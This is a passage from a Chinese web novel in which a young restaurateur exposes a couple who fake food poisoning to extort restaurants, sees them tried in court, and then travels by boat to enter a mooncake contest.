“我们掌柜从上京弄来的白酒,特别香醇,一口便醉,诨名三口称大王!还没拿到批文,所以只有像你们这样尊贵的顾客,可以尝一尝,要来一壶么?” “为何叫三口称大王?” 伙计解释:“这酒暴烈甘醇,三口下去后,最瘦弱的人都能威震雄风,把老虎按在地下摩擦,所以叫三口称大王!” 好家伙,比武松的七碗不过岗还要厉害,必须来。 刘青青眼角含笑,微微对着伙计点了一下头。 伙计颠颠的跑去搬酒。 而主位上的刘宝柱已经脸色发白,青华楼二楼的菜一向以味美价贵流传在书院,现在还多了烈酒。 粮食产量低,官府担忧商家大量烤酒,普通百姓买不到粮,只有少数的酒楼有批文可以卖酒,米酒价格昂贵,烈酒的价格,那便是天价。 他捏了捏袖中轻飘飘的荷包,不怕不怕,他荷包里有衙门兑的银票呢,一壶而已,他不能让同窗们觉得他小家子气。 刘宝柱没想到,在座的都是些青壮的读书人,每一个年轻气盛,喝酒就跟喝水一样,即便过后醉得像死狗,但酒桌上不能认输。 更何况,伙计还捧来了为各位尊贵的顾客,倾心烤制的月饼,透明的面皮中,玉兔雪白玲珑,绿色莲花盛开,天上一轮圆月,千里共婵娟。 啧,在座的都是读书人,立马诗兴大发,对酒当歌。三口称大王一壶又一壶,流水般端了上来。 这一顿饭从中午一直吃到天黑,吃得宾主俱欢,刘宝柱脸都兴奋得青了。 晚间一结账,竟然花了82两银子,大房的新宅子也就花了这么多钱。刘宝柱木着脸抖着手把银票递过去,伙计热络的送他们出门。 还热情的每人免费赠一杯糖水冰粉,恭送他们出门。 刘宝柱一面走一面心疼银子,没看清脚下趔趄了一下,手中的竹杯子打翻,回去重新要一杯,便看见伙计把银票恭敬的递给刘青青,嘴里称着:“东家,我今日机灵吧?” 东家,这是刘青青的酒楼? 刘宝柱心疼得直抽抽,脸彻底紫了,气晕在地! 刘青青脚尖踢了踢他,哟,这是醉倒了呢,快俩两个伙计,弄辆车把他送回去。 他们青华楼服务特别好,免费送醉酒的顾客回家呢。 第74章 第74章滴水不漏 刘青青捏着轻飘飘的100两银票,嘴角愉悦的翘起,有人请吃饭的感觉真好。 吃了饭还送钱给她,感觉更好。 不枉她今儿在青华楼里耽搁了大半天,营业额是昨日的两倍呢! 她走进厨房东边的角落,这里原本空着,现在填上了散发着金属光泽的蒸馏器。 下面是可以加热的炉子,上面双层桶,外筒装沸腾的水,内桶有盖,盖上连接滴管。 利用酒精沸点低,将米酒隔水加热到100度,水分杂质留在桶里,酒精挥发,顺着滴管流到能密封的酒壶中。 这样蒸馏出来的酒,浓度高、味道纯,还带着淡淡的米香,当得起好酒,收刘宝柱三两一壶,一点没坑他。 开酒楼岂能没有酒,刘青青寻摸了好长时间。 常平县百姓喜欢喝米酒和荞酒,但度数太低,口感杂。 自己烤酒罢,投入大、场地宽,她干脆让铁匠铺打了这个蒸馏器,从酒铺大批量低价采购米酒、荞酒,经过蒸馏后瓶装密封。 从瓷器铺子订购了一批特质的大肚细口瓶,怎么说呢,一文钱一文货,光这个瓶子就要三十文钱,瓷器铺子做得美观大气,雪白的瓷瓶肚子不是普通的球形,而是椭球形,看着高端大气上档次。挺着的肚子,上面印着青华楼的字号,分为米香型和荞香型。 看她瓶子的设计就知道,她走的是精品路线,准备把青华酒卖到府城,卖到上京,卖遍全国, 刘青青在清点要带去府城的东西,除了菌子酱,干菌子,菊蓟罐头,清华酒,月饼,还有卤鸭脖。 因怕把青华酒摔碎,每一个瓶子先套个布袋,埋在谷糠里,再装箱。 鸭脖和玉兔月饼需要冰冻冷藏,地窖里的冰块已经用完了,刘青青干脆带了原材料,打算到府城落脚后现做。 次日午间,楼里客人络绎不绝,院子堆着整整齐齐的木箱,刘青青在做最后的清点,门外却闹将起来。 刘青青戚眉,难道刘宝柱输不起,撺掇宋老太来闹腾? 青华楼门口围了一圈的人,个个伸长了脖子看热闹,中间躺着一个脸色青黑的男人,旁边跪坐的妇人,披麻戴孝哭得梨花带雨,一边哭一边口齿清晰的哭诉,她夫君昨日吃了青华楼的菌子,今日便爬不起来,要青华楼给一个交代。 刘青青心里一个咯噔,悄悄对郭守云 耳语了一番。 郭守云担忧的看了她一眼,撒腿便跑。 刘青青挤进去一看,地上躺着的人,有些眼熟,是昨日和刘宝柱一起来的学子,叫武禄,因这人嘴唇发绀,她多看了两眼记住,想不到家里的媳妇竟然,嗯,这么娇俏。 武禄躺在地上昏迷不醒,发青的嘴唇可以看出,确实病得不清,已然出的气多,进的少。但想把屎盆子往青华楼上扣,她一万个不同意。 做餐饮的,最怕吃食出问题,这么一闹,甭管是不是它青华楼的问题,都会在大家心里留下不好的印象。 她当机立断喝道:“娘子慎言,昨日他们同窗十三个人结伴,来我们青华楼吃饭,围坐一张桌子,大家菜色完全相同,众位学子们昨日离开时好好的,一夜之间仅仅他病成这样,肯定不是我青华楼的问题。 许是他自身有什么隐疾。倒是你,夫君生病昏迷不醒,你不送到医馆看大夫,还有心思梳妆打扮,涂脂抹粉,到我们青华楼门口闹腾,安得什么心?” 经过她提醒,大家才发现,这个娘子确实画了淡妆呢。 “你打的好算盘,借着夫君发病,把原因赖到我们酒楼,想敲诈勒索我们,是不是?” “不对,你夫君不是发病,是被你谋害,再借机嫁祸我们!!” “放心,你不在乎你夫君的命,我们青华楼在乎,大夫片刻即至,至于你,我已经报官,自有衙门来为我们讨回公道,证明清白!” 金氏有一瞬间的愕然,和预想中青华楼把她请进门悄悄私了赔偿不同,他们竟然大张旗鼓请大夫,还报官。 他们就不怕,以后没客人来他们家吃饭么。 她眼底闪过一丝慌乱,面前这个因愤怒满脸杀气腾腾的小姑娘,和他嘴中性子软好拿捏,真的是一个人么? 事到如今,她顾不得这些,解释道:“我没说清楚,不是你家二楼的饭菜有问题,夫君昨夜回家,因肚饿又煮了一碗面条,放了你家的菌子酱,因而生病!” 刘青青讥笑:“哦,你家的菌子酱是什么时候买的?从青华楼买的,还是专卖店买的?我们顾客都有登记呢,若真是我们青华字号的菌子酱出了问题,我们家保证赔偿负责。” 金氏想了想道:“半个月前,从专卖店买的。” 刘青青接过伙计递来的一本厚厚的册子,指着上面密密麻麻的记录大声道:“各位乡亲,我们家的菌子酱罐子上,都有号码,每一罐都不相同,我们售卖的时候,批注了日期和顾客,半月前七月二十三,找不到你的名字呢。 好叫各位乡亲知道,每一罐菌子装罐前,我们都采样喂了鸭子,鸭子全都好好的在池塘里游泳呢,你确定是吃了我们家的菌子么?” 金氏彻底慌了,一罐三十文的菌子,青华楼竟然做得滴水不漏。 她眼神躲闪,恍然大悟般捂着嘴巴:“呀,夫君吃的时候便道味道怪怪的,许是家里头的酸菜放久了出问题。 实在对不住,误会你们了,改日登门道歉,我这就带着夫君去看大夫。” “不用,大夫已经来了!” 姜老大夫被郭守云拖着跑得上气不接下气,没好气的瞪了一眼刘青青,扭头看清地上武禄的脸色,嗷一声冲上去,拿出银针便扎起来,一面扎一面痛骂:“糊涂媳妇,你男人心疾发作,你不送他去看大夫,来这里耽搁什么?要是我再晚来一刻钟,你等着给你男人收尸罢!” 金氏讪讪解释:“我妇道人家,见识浅经历少,被吓坏了!夫君,你可不能有事啊!” 赵垚领着七八个衙役挤了进来,亮了亮手中的小瓷瓶:“金氏,你经历可不少!” 他拱拱手对围观的百姓道:“此药名护心丸。武禄天生有心疾,每日必须服药,一旦停药,脸如青色,半死不活,他们夫妻借此,已经讹了好几家酒楼,之前的酒楼为了名声花钱消灾,只有青华楼报官,此事才能水落石出。” 难怪金氏一点都不急,原来有护心丸保命。 姜老大夫摇头:“不对,护心丸不是万能的,发病后半个时辰内吃才有效,他这个发病起码有三个时辰了。” 若不是他来,武禄这条命算是就此交代。 众人面面相觑,眼里八卦火苗灼灼燃烧。 赵垚脸色凝重,这不是简单的讹人,这是谋害亲夫,杀人大案哪。 几个衙役对视一眼,快刀半抽,将金氏团团围住:“金氏,跟我们走一趟,一切待武禄醒后再说!” 金氏哭得嘤嘤嘤的,解释自己吓得慌了神,忘记给夫君喂药,看见刘青青站在一旁,不甘大喊:“你们不能只抓我,也要抓她!” “她家的菌子即便没有毒,但是,她私卖酒水,偷税漏税,犯了重罪!”她脸上流露出疯狂的神色,来呀,互相伤害,你断了我的财路,我也要你生不如死。 她会留下这么重要的把柄么?真是愚蠢。 不过,也间接说明了,这事和刘宝柱有关呢。 刘青青讥笑着拍拍手,早有伙计捧出一份文书,上面几个大字卖酒许可证,鲜红的衙门大印似乎在嘲笑金氏的恶毒。 后面一溜的伙计,每人端着一个大托盆,里头密密麻麻的小杯子里,浅浅汪着一层酒,笑盈盈道:“今日吵闹到大家,实在惭愧,酒楼为大家准备了一口酒水,特此赔罪,希望乡亲们以后多来照顾酒楼的生意。” 青华楼被诬陷,不哭诉委屈不说,竟然还大手笔的拿出酒水,来给大家免费喝。 酒哎,很贵的。 虽然只有浅浅一口,但色泽清冽,酒味浓郁,入口醇香,粉了粉了。 武禄被姜老大夫扎成个刺猬,半个时辰后悠悠转醒,睁开眼睛看见四周密密麻麻的眼睛,或带着关切,或带着可怜,或带着鄙夷,几乎没吓得又犯病,弱弱的问了一句:“我娘子呢?” 当赵垚冷冷告诉他一切的时候,他的脸又变得青黑,这次是气的,咬牙切齿道:“大人,我要状告,金氏与人通奸,谋杀于我!” 赵垚看看天,今日真是个好日子,业绩主动跑上门。 围观的百姓回味着醇香的酒水,一面讨论着。今日太刺激了,一波三折啊。 不停翻转,原以为青华楼吃食有问题,结果是讹人。 以为是讹人,结果里头藏了过失杀人。 以为是过失杀人,哪知道弄出了通奸谋杀。 大家像过节一样,真刺激。担心武禄气竭昏迷走不动路,刘青青贴心的借了一块门板,由两个热心小伙子抬着武禄,大家欢欢喜喜往衙门去,听县衙大人审理案件。 不晓得,武禄口中的奸夫是谁? 刘青青也好奇,会是刘宝柱么?不过刘宝柱号称要娶世家女,应该看不上金氏这个有妇之夫吧? 第75章 第75章给被讹者一个公道…… 威严空旷的大堂上,一反常态的围了无数的人,叽叽喳喳吵闹得如同菜市场。 温如初板着脸,重打惊堂木:“不得喧哗!” 众人才想起,这里是衙门,不约而同禁声。 “堂下何人,敲鼓所为何事?” 武禄行了礼,脸青了绿,绿了红,红了黑,如锅底一般,壮士断腕道:“大人,学生武禄,状告发妻金氏,与人通-奸,谋-杀亲夫!请大人为我做主。” 温如初皱眉,他们夫妻恩爱,最讨厌这些乌七八糟之事,声音严厉了许多:“你有何证据!” 武禄踌躇不语,被催促了一番,只好期期艾艾硬着头皮,揭出心底最疼的疤:“金氏与我从小定亲,成年后成婚。因我有心疾,每月花销颇丰,原本殷实的家底渐渐变薄,金氏便生了外心。” “那日我邀请同窗在家中小聚,她,她和刘宝柱眉来眼去。 晚间我醉酒早睡,口渴醒来后不见她人,起床四处搜寻,在院子石榴树下的石凳,看见她和一精壮男子…… 呸,我当时捡了菜刀,打算了结这对狗-男-女。 哪知道那厮身强力壮,拼 着左手臂上挨了我一刀,护着脸走脱,金氏那贱-人,痛哭流涕,苦苦哀求,说是一时酒醉昏了头。 她做低伏小,剪了头发发誓与奸夫一刀两断,我当她幡然悔悟,便原谅了她,哪知道她竟然起了杀心。 她悄悄把我的护心丸换了,趁着我昏迷,栽赃嫁祸酒楼。幸好姜老大夫妙手回春,我才能捡回一条命。 大人,金氏与人勾搭成奸,谋害亲夫,栽赃嫁祸无辜外人,还请大人为学生做主,将这对狗男女绳之於法。” 温如初忍住恶心继续审理:“照你说,奸夫手臂上有伤痕?” 武禄嗯了一声:“奸夫就是学生的同窗刘宝柱,那晚我没看清他的脸,但是,他在酒席上就与金氏眉来眼去,被我看到好几次。” 温大人命赵垚把人逮来,当场扒了他的衣裳。 出乎所有人意外的是,他手臂上别说伤痕,连个印子都没有。 他一脸无辜:“大人,学生在家好好读书,不晓得为何把我抓来,大庭广众之下扒了某的衣裳!” 那委屈的样子,活像他是一个被欺负了的小媳妇。 围观的几个糙汉子看不下去了,嗤笑:“都是大老爷们,看一下手臂又不会死,别作出这幅恶心样子埋汰人。” 武禄盯着他活动自如的手臂,大惊失色,他亲自砍的伤,怎么不见了:“不可能!” 他瞪大了眼睛,蹬蹬瞪上前好几步:“次日上学,你一天都没用左手臂,还说睡觉扭到了!”他想凑近了看,却被刘宝柱躲开:“你莫要过来!” 他躲到一边对着堂上拱手:“大人,武禄有癔症!在书院,好几次对着空气破口大骂。” 金氏眼前一亮,委委屈屈的哭开了:“大人,那日武禄带了同窗回家,我做饭煮茶忙了一天,好菜好饭招待,因要搬桌子,这位姓刘的书生搭了把手,我对他多说了两句感谢,武禄便起了疑心。 晚间我累得全身酸疼,睡不着起身寻了木锤,坐在院子的石凳上敲腰,哪知道他突然凶性大发,拿着菜刀冲过来,夺过木锤,噼里啪啦砍了好几刀。 嘴里还贱、人、奸、夫的乱骂!” “大人,近年来,武禄心疾越发严重,经常产生幻觉,总疑神疑鬼,他犯了癔症而不自知,日日念叨我与外人谋害他。 轻则对我一顿呵斥,重者拳脚相加。 我每日间过得心惊胆战,请大人为奴做主,判了我们和离吧。” 她撩起衣袖,露出手臂上狰狞的青紫,哭得闻者伤心见者落泪,不少人开始怜惜起她的遭遇来。 痛斥武禄打女人猪狗不如。 武禄气得双眼喷火:“你这个贱-人,这些明明是你那奸-夫留的!” 杀人未遂案,竟然变成了家暴离婚案。 温大人沉吟了一下:“武禄,按照你所言,你为何不休了她?”是个男人,面对妻子在自己头上种了一片草原,都忍不下这口恶气吧。 武禄嗫嚅了一下,好一会才干巴巴道:“我,我,她娘家人都死绝了,我可怜她没地去,才忍下这口恶气!” 刘青青戚眉,这案子感觉哪里不对劲。 不管他们是家暴和红杏出墙,与她无关,她只关心青华楼的名声。 刘青青出列口齿清晰道:“大人,我要状告武禄夫妇,借自身心疾,讹诈我青华楼,毁我青华楼的名声,请大人为我们讨回一个公道!” 温如初询问了当时在场的百姓,证实了两人的讹诈之罪,判决两人监禁三年,到煤矿上挖煤赎罪。 听到这个判决,武禄眼皮一翻便昏了过去,他本有心疾,去煤窑那暗无天日的地方做苦力,不用三年,三天他都受不住。 金氏顾不得会花了妆容,哭得真心实意,一把鼻子一把眼泪的求情:她已经怀有三个月的身孕,请大人宽恕,请刘青青看在未出生的孩子,放她一马。 听到她此言,人中被掐得出血醒过来的武禄,你、你、你了半天,吐了一大口黑血,又昏了过去。 围观的百姓也窃窃私语,怀着孩子啊,是不是该从轻发落? 刘青青抿着嘴不吭声。 做了恶事,因为怀了孩子,就可以不予追究了么?那是不是以后为非作歹的人,都可以用怀孕来逃避追责。 那被他们败坏了名声而无人问津的饭馆,谁来帮他们找回流失的客人? 被他们敲诈勒索而四处举债的人,谁来帮他们还债? 被他们讹诈而家破的人,谁来帮他们找回,失散的亲人。 刘青青沉默了半响,朗声道:“大人,我坚持自己的状告,错便是错了,不能因为她是孕妇,是老人,是未成年便该无条件的原谅。无论是谁,做错了事,都应该受到惩罚。” “她的孩子,也不愿意有这样的母亲。” “不过,孩子是无辜的,可以等她生下孩子后,再服役,而她的孩子,我可以帮忙,重新找一对没有生育,品性厚道的夫妻收养。” 金氏彻底慌了神,厉声喝道:“你们不可以!” 她突然捂着肚子,凄厉的叫起来:“我,我肚子好疼,我的孩子……” 温大人使了个眼色,姜老大夫替她把了把脉,点头道:“确实有三月,动了胎气,先喝两幅药!” 行吧,到这里已经审不下去了。 温大人判了将两人先收监,待金氏稳定下来再议。 晚间,史居正寻到刘青青:“金氏幡然悔悟,愿意把这些年讹人的钱,拿出来,一家一家酒楼去赔罪,求你能撤销状纸。” 刘青青戚眉,心里闷闷的:“哦,大人怎么说?” 史居正叹了口气:“大人也不想,可是上京里那些富贵乡里的文人老爷,总说要怜惜弱者,这案子递上去,金氏受到了惩罚,只怕大人也要吃一顿挂落,这一期的考绩只能得中。” 这是为了打老鼠,把玉瓶也给摔了。 温大人确实是一个有原则,做实事的好官,她不想温大人受到牵连。 刘青青瞬间决定:“这样啊,我们撤销,不过,要她们当着全县的百姓,一家一家酒楼登门道歉,澄清酒楼的名声!” 史居正是瞒着温大人来的,原以为要花费一段口舌说服刘青青,哪知道她这么容易放手。 刘青青没解释,大家都以为金氏不服刑是好事,他们都忘了,服刑虽然辛苦,但是有衙役的管束,没有生命安全。 若不去服刑,看武禄堂审的表现,只怕两口子以后,有得闹呢。狗咬狗挺好,她干嘛脏自己的手。 武禄金氏这些年一共讹诈了七家酒楼,两人被衙役押着,一家一家去磕头谢罪,呈上当初讹诈的银钱。 常平县的百姓,跟随在后面,一面丢两人臭鸡蛋烂菜叶,一面讨论温大人判决大快人心,顺便去酒楼里吃顿便饭,继续吹水。 毕竟按照两人的说法,他们都是挑着味道好,生意兴隆的酒楼下手呢。 得证清白的七家酒楼东家,捧着银子热泪盈眶。真心实意奉青华楼为常平县第一楼,推选刘青青为常平县食品会会长。 因为有青华楼,他们当初的污点,得以洗清,宾客们又回来了。 之前还嫉妒青华楼生意红火,现在看看,人家卖吃食,方方面面为客人考虑在先,有原则,有底线,人家生意要不好,他们都不答应。 每个县有一个免试的名额,常平县的青华楼以最高得票入选。 也就是说,青华楼不用再参加海选,初赛,直接参加决赛就行,刘青青这一趟月饼大赛府城之行,把握更大了些。 且 说武禄和金氏,金氏不晓得从哪里弄来了600两,武禄卖了田地房产,凑了100两,共700两,赔给了七家酒楼,两人无处可去,落脚在城外的土地庙中。 武禄丢了一封休书给金氏:“你我少年夫妻,我自认待你不薄,你走吧,若再呆在我身边,我只怕忍不住将你掐死!” 说完,不再看她一眼,收拾自己的包袱,杵着棍子慢吞吞往上京走。 他名声已坏,在这里如过街老鼠,人人喊打,是往日的尊师,不计前嫌,给他一笔盘缠,含泪骂他糊涂,叫他重新做人。 经此一事,他幡然悔悟,决定就此改过,不晓得是因为姜老大夫的针灸之术高超,还是被气得死过一回,他的心疾不治而愈,不用再吃药。 且说金氏,看着不再看她一眼的武禄,完全不在意,收拾了自己的包袱,熟门熟路进了书院旁边的一家杂货铺的小门。 不过,迎接她的,不是男人心疼的宝贝声,而是女人的厉喝和劈头盖脸的扫帚:“贱-人,你还敢来!” 第76章 第76章晕船 王氏:“你这个贱人,我闺女辛苦带回来的银钱,全被你讹了去,你这个扫把星!” 金氏被扫帚打得一脸灰,捂着脸,嘤嘤嘤的哭,平时对他关怀备至的男人,捂着手臂苦着脸缩在一边探头探脑。迎上她期盼的眼神,鼓着勇气小声劝说:“孩他娘,轻些,她肚里还有孩子呢!” 刘有田的劝说,可谓是火上浇油,王氏转过扫把,对着他一阵噼里啪啦的输出,一面打一面骂:“你这个畜生,因为你欠下的风流账,让我儿子跟着丢脸,成了全县的笑柄,你还有脸打轻点,你怎么不去死!” 爹娘作奸犯科,儿子不得参加科举,金氏要挟刘宝柱,若不把她捞出来,她便状告刘有田强-迫她,肚子里的孩子就是证据。 刘宝柱气了个倒仰,忍者恶气花钱消灾——刘巧儿从秦家弄的钱,全部一笔清空。 在他眼里,他的科举是最重要的,他不能背上这样的名声。 无数次他咬着牙齿安慰自己,几百两而已,只要妹妹生下男孩,秦家偌大家业都是他的。 他对王氏多次强调,不能让金氏来家里,若让金氏住下,那等于告诉全县的百姓,金氏的奸夫,就在刘家。 才有了王氏堵人那一幕。 金氏岂是省油的灯,她也不撒泼,哭哭啼啼哭诉她无家可归,只有死路一条,死之前去县衙和大人交代清楚。 王氏气得双眼喷火,咬碎牙齿和着血咽下肚,远远租了一间房给她住,金氏犹自不满,道要个小丫头,王氏呸了一声,撒手不管。 刘有田被磨得没有办法,手里的钱置办了米粮后,一文不剩,心疼金氏和肚里的孩子,哄着宋老太说找了个照顾人的活计,让她去料理金氏一日三餐,浆洗打扫。 金氏是个事多挑剔的,将宋老太指挥得团团转,从天亮睁眼到夜深合眼,没个歇息的功夫,她累得腰也直不起来的时候,也会怀疑,自己活得到大孙子中举人那一天么? 比起刘家大房的一地鸡毛,刘青青可谓事事顺心,她当晚便在青华楼,以会长身份,召集了第一次常平县食品大会,常平县各家酒楼粮店掌柜汇聚一堂。 青华楼二楼屏风全撤掉,桌子上摆满了各种零食小点,还有青华楼的纯酿。 刘青青直奔主题:“承蒙大家厚爱,推选为会长,我一定竭尽所能,带着大家一起过好日子。 第一件事,我明日一早尾随县衙女眷的船队上府城,若有要去的,只管一起,注意了,我只负责带你们到府城,路上的开销和进城后的开销收益,你们各家派掌柜料理。” 此话一出,人群犹如落入了火花,哗啦炸开。 “原来青华楼与知县夫人有交情,难怪能快速崛起!” “天哪,我们可以把自家的货物运到府城去卖,回来又带一船。” “我们自己租一条船,可以么?” 从常平县到府城有两种选择,走山路,也可以走水路。 时间花费差不多,都要一天,可是山路崎岖颠簸,容易把货物摔坏。水路平缓,但有漕帮收取高昂的过船费,不仅如此,河道水匪横行,一不小心便有去无回。 衙门的船队,漕帮只收取一半的过船费,而且,从来没听说过,水匪敢打劫衙门的船只。 刘青青等大家平复了些,宣布第二件事情;“我手里的纯酿白酒,若各位想要,按照市场价格的八折,优先供货给在座各位。” “大家都是生意人,口说无凭,今晚预交百分之五十的定金为证,按照先后顺序交货!” 若之前各家掌柜是开心,觉得刘青青当会长可以蹭到好处的话,现在便是兴奋。 开过酒楼的知道酒水的利润,优质的白酒,不会像布料那样,放个几年老化掉,说人话就是,优质的白酒没有保质期,具有极高的储存价值,收藏的年份越长,味道越香醇。 都慌忙掏荷包,没带银子的,打发小厮回去取钱。 小些的饭店,定了五十两,大些的酒楼,定了五六百两,郭守云一字一句书写账目,客户姓名交货日期等详细信息,确定无碍后开收据,刘青青负责收银子。 收钱之余,刘青青顺便扯扯家常,拉进彼此间的距离。 秦夫人也上前打招呼,套近乎:“说来我们还带着亲呢,我儿媳也姓刘,和你们一个村呢!”能不能再打点折? 说起来,青华楼还是从她家买的呢,这是两人第一次相见。 刘青青抬了抬眼皮,秦夫人看着三十出头,眉眼间有疲惫,隐含凌厉,颧骨有点高,看着不是个好相与的,一想起她放任傻儿子残害了三个可怜的女孩,刘青青对她便亲近不起来。 但她,对大房更亲近不起来。 刘青青客套的笑笑:“可不是,在这里的都是我的亲伯伯亲婶婶,大家都是一家人。”所有人都一样,莫要打感情牌。 秦夫人吃了个软钉子,瞬间熄声,撇撇嘴。 刘青青状若无意道:“秦夫人这么年轻,怎么就有孙子了呢?什么时候的满月酒,我一定来捧场。” 秦夫人身子一抖,似乎想到了什么,眼里精光闪了一下,复又露出笑来,诚恳的看着她:“多谢会长!” 刘青青举举杯:“好说!” 秦夫人好似想通了什么,眉眼间的疲惫一扫而空,丢了负担,走路都轻了些。 对啊,她才三十三,还年轻,完全可以自己生一个亲生的娃,干嘛要受人钳制摆布。 她豁然开朗,喜滋滋订了800两的纯酿,让管家过几日来接货后,埋在梨花树下,准备等孩子出生后请满月酒。 至于她,她忙着带儿媳妇去庄子上养胎,一年后再回来。 顺便找个身强力壮的小伙子,悄摸摸借个种。 直到凌晨,青华楼恢复安静,刘青青统计手里的银钱,合计六千两。楼里的伙计叹为观止,深深佩服刘青青搂钱的能力,更加坚定了决心,跟随刘青青。 刘青青交代了刘慧兰注意事项,马不停蹄,拉着满满一车货物到达码头。 郭守云已经租好了船只,两人看着搬货。 等了一会,温如初骑马送杨雪眉等人来到码头,刘青青郭守云跟随杨雪眉上了最前面的官船,其他船只尾随在后。 站在船头,看着码头上温如初和阿姊赵垚来送别他们的人慢慢变小,身后长长的插着统一旗帜的船队,刘青青心旷神怡,豪气丛生,感叹新的征程即将开始,她将开启波澜壮阔的一生。 可惜,她还没在甲板上感受够河风,就被现实毒打——她晕船了! 末世的时候,人类苟延残喘,只活动在基地附近的陆地,大河海洋不敢涉足,说来好笑,两辈子下来,这是她第一次坐船。 一湾碧水向东滚滚而流,摇摆的船只左右晃动,让人 像踩在棉花上一样,没有踏实感,总担心下一刻便被抛出船身,掉到墨绿色的水中。 刘青青有些眩晕,不自觉往后退了几步,便八爪熊一般抱住桅杆柱子不撒手。 杨雪眉愕然了一下,无奈笑道:“阿青姑娘,你抱着桅杆,船夫怎么开船啊?” 刘青青艰难的挤出一丝笑来:“我感觉天在动,地在晃,心里瘆得慌!” 对比她的晕船,郭守云适应良好,别说晕船,他幼时还被一只老鹰叼起来过,算是坐了一次飞鸟,都适应良好。 他走过去,将刘青青扒拉在柱子上的手,扒拉到自己背上:“我背你去船舱里休息。” 刘青青晕乎乎的:“你背得动么?” 郭守云没吭声,默默的把她放在自己背上,对着杨雪眉歉意的点点头。 回到船舱,刘青青感觉肚子里翻江倒海,捂着嘴巴:“呜呜呜……” 郭守云随手顺过花瓶接在她嘴巴边,一面拍打她的后背,戚眉道:“要不让船夫靠岸,我们下船骑马?” 她抱着花瓶呜哩哇啦吐了一场,感觉肚子好受了些,正要寻杯子喝点水漱口,郭守玉已经把杯子递到嘴边,扶着她:“张嘴!” “吐!” “张嘴!” “吐!” “张嘴,吐!” 花瓶里的污秽又臭又难闻,整个船舱充斥着一股怪味,刘青青挣扎着去打扫,被郭守云按在小榻上:“姑奶奶,你老老实实睡着罢,这些我来!” 刘青青嗯了一声,她实在是晕得厉害,说话的力气都没有。 郭守云帮她盖好被子,然后把花瓶搬到外面用江水冲洗干净,回到船舱,发现依旧有一股怪味,走到船窗面前大开窗子,让清凉的河风贯穿整个船舱。 带着水汽的河风带飞了帘子,也刮起了刘青青的头发,小姑娘突然受寒打了个冷噤。郭守云怕她得风寒,干脆挡在她的面前,身后闭着眼的刘青青,果然眉头舒展了一些。 杨雪眉进屋的时候,便看到这么一幕:屋子内空气清新,刘青青安然闭目养神,塌边郭守云用单薄的身躯,挡住了一室的冷风。 这便是两小无猜么?你不介意我的粗鄙,我也不嫌弃你的狼狈! 杨雪眉眼底闪过一丝笑意,“阿云,这是晕船的药,你给她放在鼻端多闻一闻,看看有没有效果!” 第77章 第77章大赛规则 八月初八,常平县船队顺利抵达府城。 用了杨雪眉给的晕船药后,刘青青眼皮犹如千金重,朦朦胧胧感觉到郭守云守在身边,便踏踏实实混睡过去。 睡了一天,直到次日天明下船,郭守云才把她叫醒。 在脚踏实地的那一瞬间,她感觉原地复活,虽然依旧脸色蜡黄,但精神气可见的复苏。 来接他们的是曾经的老相识,张和。 张和本性不改,头戴紫金冠,穿着淡紫织金锦长衫,脚下的朝云靴上坠着硕大的玉珏,像花孔雀一般鲜亮夺目,正等得不耐烦,甩着手里的紫玉马鞭抽打路边的野草。 看见从官船上下来的杨雪眉,恭恭敬敬的上前行礼:“舅母一路辛苦,外甥已经打扫干净庭院,请舅母换车而行!” “伯父还未到,传信晚间便至。” 杨雪眉带着披风,立在码头嗯了一声:“辛苦你了,阿和!”哥哥卸任回京,与她约好在府城一见,帮她带些节礼回京给双亲。 她唤过身后的温一鸣、温一和,命他们与张和见礼。 表兄妹厮见了一番,张和紫玉马鞭,指着刘青青:“这位妹妹是?” 他早已经认出了刘青青,就是上次卖给他水晶粽,让他赚了一笔的人,对于送财童子,他向来记性很好。 只是他有些不不确定。 之前那个女娃土不拉几,黑不溜秋的,除了一双眼睛明亮灵动,再也没有可取之处。 今日的刘青青虽然焉头耷脑,脸色蜡黄。 但比起三月前,可见的长高变白了许多,头发依旧发黄的,却不在毛躁,在顶心正中冠起,用只玉簪簪着,穿着今年时兴的宝象暗纹云缎青色长衫,雌雄莫辩,颇有几分贵公子的风流韵味。 刘青青在他打量的时候,大大方方行礼:“有劳张兄!” 和刘青青一模一样打扮的郭守云,却多了几分攻击性,冷着脸随意拱了拱手。 这厮叫谁妹妹呢,油头粉面的花孔雀,见个人就迫不及待开屏。 杨雪眉没有感受到几个孩子间,无声的碰撞,笑道:“阿和,阿青他们来参加府城的月饼大赛,你帮着张罗张罗!” 张和挑挑眉,才几个月不见,她们就能参加月饼大赛了,这些土包子莫不是以为,府城的月饼大赛,随便一家路边小店都能参加的罢? 舅母在旁,张和收敛了许多。组织了一下语言,自认为友好矜持道:“舅母,府城的月饼大赛,只有一定规模的酒楼食铺可以参加。 既然她们想去看热闹,不如扮作我铺子里的伙计,我带着她们进去。”开开眼。 看在舅舅的面上,他语气已经很谦逊,很礼贤下士了,不过,为什么他们都看傻子一样看着他。 刘青青谦虚笑道:“不用劳烦表哥,我们有直升名额,你只用和我介绍介绍大致的流程。” 郭守云淡淡道:“哦,忘了和你说,她现在是我们常平县食品会会长。”虽然不理解这个会长有什么鸟用,但听起来很唬人,看看对面的张和,骄傲自大的脸上露出了一丝裂痕。 那是不敢置信吧?虽然张和快速的收敛了表情,但郭守云已经捕捉到,无师自通继续补刀,很是不愿意道:“我们家青青不想当的,那些又胖又老的掌柜非要选她!” 他的重音放在里我们家三个字上。刘青青是他一个人的小伙伴,谁都不可以抢走。 张和原地凌乱了,不是她争取的,是别人选出来的。 府城也有食品会,他废了老鼻子劲,才当上了其中一名小小的会员。 远远瞄了一眼站在后面清理货物的众多掌柜,心里由天方夜谭,到怀疑。 排排站等着刘青青部署的各家掌柜,远远看到他们看过去,隔空露出热情殷勤的笑。 张和:“……” 若他没记错,三个月前,她还在摆摊吧? 背景也调查过,简单的农家女,能短短时间内,从没有固定摊位的小贩,拥有自己的酒楼,还能让一干老狐狸心甘情愿的推选为一个县的会长,得多大的能耐。 他要再自大轻慢,不用在混了,老老实实回家当富贵闲人去。 对于和自己一样聪明的人,他瞬间换了一张谦逊的脸,多了一分亲和:“大会规则,说起来繁复,不如先回去,喝着茶,慢慢再叙?” 他在这里吃了半天灰,还被对比伤了心,回去先沐个浴,暖暖身。 一行人下榻到张和五进的大宅子中,刘青青提出给他房租,张和嗤笑:“那点碎银子,留着给你自个买裙子穿吧!”他一个人住五进的宅子,空着也是空着,还不如做个人情。 既然人家耍豪,刘青青配合的收起了荷包。 刘青青跟随杨雪眉住在内院,郭守云和一干掌柜等住在外院。 